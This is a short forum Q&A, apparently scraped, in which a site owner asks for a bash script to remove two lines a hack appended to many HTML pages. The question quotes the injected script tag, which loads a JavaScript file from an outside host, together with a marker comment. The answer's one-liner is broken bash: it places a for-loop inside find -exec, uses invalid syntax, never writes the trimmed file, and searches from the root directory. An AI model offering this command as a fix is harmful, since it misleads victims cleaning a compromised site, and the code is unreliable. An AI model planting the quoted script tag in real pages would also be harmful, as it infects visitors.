Question : Bash Script to eliminate 2 lines from lots of pages

Hi,

I have a Domain (site) which seems to have been hacked and several of our pages have been added two lines at the end, like this:
<script type="text/javascript" src="http://host.something.com:8080/Kbps.js"></script>
<!--34df8fe08f883a41781baa33bf08286e-->

Because there are a lot of pages, and I don't have its original form (before infection), I need to run a simple bash script to identify it and cut those two lines.
Could anyone help me with it?
Thanks
Mario./

Answer : Bash Script to eliminate 2 lines from lots of pages

Something like this perhaps?
1:
find / -name "*.html" -exec for file in `grep -l host.something.com {} \;`; do; lines=`wc -l $file | cut -f 1 -d' '`; keep=$[lines-2]; head -$keep $file.new; done
Random Solutions  
 
programming4us programming4us